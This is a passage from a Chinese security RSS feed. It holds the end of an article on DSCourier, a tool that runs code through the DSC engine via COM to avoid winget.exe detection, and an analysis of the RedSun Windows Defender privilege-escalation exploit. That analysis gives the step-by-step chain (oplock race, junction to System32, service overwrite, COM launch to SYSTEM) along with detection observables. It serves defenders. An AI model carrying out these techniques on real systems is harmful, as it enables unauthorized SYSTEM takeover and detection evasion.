0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结论</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过 COM 而非 CLI 调用 DSC 引擎，可在 Microsoft 签名进程内执行任意代码，且不产生任何 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">痕迹。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关键启示之一在于，这表明仅针对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">的检测策略存在明显不足。防御者还需将可见性延伸至 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WindowsPackageManagerServer.exe</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">的行为层面。该技术最终揭示了受信任的 Windows 管理组件如何被以难以与正常系统活动区分的方式加以利用。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">源代码</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DSCourier 可在 GitHub 上获取：github.com/DylanDavis1/DSCourier</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">仓库的 Releases 标签页提供预编译二进制文件，同时附带用于测试的 YAML 配置文件，以及用于从源代码构建的脚本。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://dylansec.com/DSCourier/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3894c730&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495867%26idx%3D2%26sn%3D7232ff3bb7c27e74caf8f6a057163977">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Apr 2026 17:48:00 +0800</pubDate>
    </item>
    <item>
      <title>RedSun 本地权限提升漏洞分析：滥用 Defender 修复机制</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495864&amp;idx=1&amp;sn=00b58f2e381da3ee9c69a665ced4f5f5</link>
      <description>深度剖析 RedSun LPE 漏洞利用链：该漏洞滥用 Windows Defender 修复逻辑、Cloud Files API 与 NTFS Reparse Points 的交互，配合 TOCTOU 竞争条件实现任意文件覆写，最终获得 NT AUTHORITY\SYSTEM 权限。</description>
      <content:encoded><![CDATA[<p><span>Cristian Rubio</span> <span>2026-04-28 13:10</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1cde2f2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSh2ZoibNs8DHVL1xKTSIrgs9tiaTZl27eyagDcIQUCgE6JputFA5GD7yNoPStkJR70DneNhwDa0TwJEeGz81HVbquo26I24icl4R8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>深度剖析 RedSun LPE 漏洞利用链：该漏洞滥用 Windows Defender 修复逻辑、Cloud Files API 与 NTFS Reparse Points 的交互，配合 TOCTOU 竞争条件实现任意文件覆写，最终获得 NT AUTHORITY\SYSTEM 权限。</p>
  <table><tfoot><tr><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.coresecurity.com/blog/analysis-redsun-local-privilege-escalation-defender-remediation-abuse" target="_blank">https://www.coresecurity.com/blog/analysis-redsun-local-privilege-escalation-defender-remediation-abuse</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Cristian Rubio</span></p></td></tr></tfoot></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Fortra 情报与研究专家团队 (FIRE) 对 RedSun 展开了深入分析。RedSun 是研究人员 &#34;Chaotic Eclipse&#34; 发布的最新概念验证漏洞利用，该研究人员此前曾披露 BlueHammer。RedSun 于 2026 年 4 月发布，在来源与技术手法上均与 BlueHammer 一脉相承，通过滥用 Microsoft Defender 逻辑及文件系统时序与路径混淆来实现权限提升。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">随着 &#34;RedSun&#34; 漏洞的公开，本文对其内部机制进行技术层面的深度剖析。该漏洞揭示了一类引人关注的逻辑缺陷：防御性工具在与复杂操作系统特性交互时，可被利用以危害其本应保护的系统。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RedSun 是一个本地权限提升 (LPE) 漏洞，通过滥用 Windows Defender、Windows Cloud Files API (cfapi) 与 NTFS Reparse Points 三者之间的交互来实现任意文件覆写。攻击者利用 TOCTOU (Time-of-Check to Time-of-Use) 竞争条件，可迫使高权限防病毒服务覆写关键系统二进制文件，最终获得 NT AUTHORITY\SYSTEM 权限。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下内容对 RedSun 漏洞利用链、执行前提条件及其遗留痕迹逐一展开说明。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">Exploit 执行链</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RedSun PoC 通过一系列步骤运行：引诱反病毒引擎、以文件锁挂起其执行线程，并将修复操作重定向至受保护的系统目录。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">阶段 1：诱饵创建与 EICAR 触发</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该 exploit 首先在 %TEMP% 下创建临时工作目录，并在目录内释放名为 TieringEngineService.exe 的诱饵可执行文件。为确保反病毒引擎立即响应，将标准 EICAR 反病毒测试字符串写入该文件。为规避对 PoC 二进制文件本身的静态签名检测，EICAR 字符串以逆序形式存储，在写入磁盘前于内存中动态还原。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">阶段 2：Cloud Files API (CfAPI) 注册</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该 exploit 的关键环节在于对 Windows Cloud Files API 的滥用。PoC 将临时目录注册为 Cloud Sync Root (CfRegisterSyncRoot)，并连接回调提供程序 (CfConnectSyncRoot)，随后将诱饵可执行文件转换为云占位符文件 (CfCreatePlaceholders)。此机制使该 exploit 的用户态回调能够拦截并操控系统对该文件的后续访问。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">阶段 3：通过 Oplocks 建立 TOCTOU 窗口</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为构造竞争条件，该 exploit 通过 FSCTL_REQUEST_BATCH_OPLOCK 对诱饵文件申请批量机会锁 (Batch Opportunistic Lock, Oplock)。当实时防护引擎扫描新创建的 EICAR 文件时，Cloud Files 回调被触发，Oplock 随即生效。持有该文件打开句柄的高特权反病毒线程由此被挂起，形成所需的检查时间到使用时间 (Time-of-Check to Time-of-Use, TOCTOU) 窗口。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">阶段 4：通过 Reparse Points 实现路径重定向</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">杀毒引擎处于挂起状态期间，该 exploit 对文件系统结构执行以下动态修改：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">对原始临时目录重命名 (例如追加 .TMP 后缀)，使其脱离原始路径。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在原始路径的精确位置重建新目录。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">将该新目录转换为指向 \??\C:\Windows\System32 的 NTFS Mount Point (directory junction)。</span></p></li></ol><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">阶段 5：利用修复流程实施攻击</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">目录结构完成替换后，该 exploit 释放 Oplock，杀毒引擎随即恢复运行。此时引擎的修复逻辑将目标路径下的文件识别为用户 %TEMP% 目录中带有云标记的恶意文件，并尝试对其执行&#34;还原&#34;或覆盖操作以消除威胁。由于引擎以 NT AUTHORITY\SYSTEM 权限运行，而该路径已通过 junction 重定向至 System32，杀毒软件在毫无察觉的情况下写入 C:\Windows\System32\TieringEngineService.exe，以攻击者控制的文件内容覆盖合法的 Windows 服务二进制文件。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">阶段 6：权限提升与执行</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">系统文件被成功覆盖后，PoC 将自身可执行文件写入已被篡改的 TieringEngineService.exe。随后初始化 COM，并调用与 Tiering Management Engine 关联的特定 COM class ({50d185b9-fff3-4656-92c7-e4018da4361d})。此操作触发 Service Control Manager 以 NT AUTHORITY\SYSTEM 身份启动被覆盖的服务。payload 在 SYSTEM 上下文中执行时，复制一个特权 token 并将其分配至当前活跃用户会话，继而启动交互式控制台进程 (conhost.exe)，攻击者由此获得完整的管理员控制权限。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">环境前提条件与失败条件</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RedSun 成功执行依赖以下几项环境因素同时满足：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">实时保护处于激活状态：</span></strong><p><span leaf="">杀毒引擎须处于运行状态，持续扫描文件创建事件，并配置为自动修复或隔离威胁。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Cloud Files API 可用性：</span></strong><p><span leaf="">系统须支持 cfapi.dll，且允许标准用户与其交互 (通常在 Windows 10/Server 2016 及更高版本中具备此能力)。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">挂载点创建不受限制：</span></strong><p><span leaf="">该漏洞利用依赖标准用户创建目录联接点、使其指向特权路径 (如 C:\Windows\System32) 的能力。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">服务覆写可行性：</span></strong><p><span leaf="">目标服务 TieringEngineService.exe 在 AV 引擎执行修复阶段获取写入权限时，须处于未锁定状态，且其运行方式不得阻断该写入操作。</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">检测可观测项</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">防御者可通过监控以下行为异常，检测 RedSun 及同类逻辑利用技术：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">可疑的 CfAPI 调用：</span></strong><p><span leaf="">监控经由 CldApi.dll 注册 Cloud Sync Roots 的非预期或未授权进程，重点关注从 %TEMP% 或 %APPDATA% 启动的二进制文件。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Oplock 与联接点的组合序列：</span></strong><p><span leaf="">对下列操作序列触发告警——进程对某文件请求批量 Oplock，随即删除或重命名其父目录，并创建指向关键系统路径 (C:\Windows\System32、C:\Program Files) 的挂载点。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">AV 进程异常行为：</span></strong><p><span leaf="">监控 EDR 遥测数据，识别 Antimalware Service Executable (MsMpEng.exe 或同类进程) 对 C:\Windows\System32 内已知系统二进制文件执行写入或覆写操作的实例。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">EICAR 告警与服务修改的时序关联：</span></strong><p><span leaf="">若 EICAR 告警 (常因被认定为测试行为而被忽略) 在系统服务发生非预期变更或 COM 对象实例化前数毫秒触发，须将该情况标记为高度可疑。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">命名管道异常：</span></strong><p><span leaf="">关注由 SYSTEM 级进程创建或访问的未授权命名管道 (如 \??\pipe\REDSUN)，尤其是该进程随后衍生了交互式 shell (conhost.exe、cmd.exe) 的情况。</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">最终思考</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, 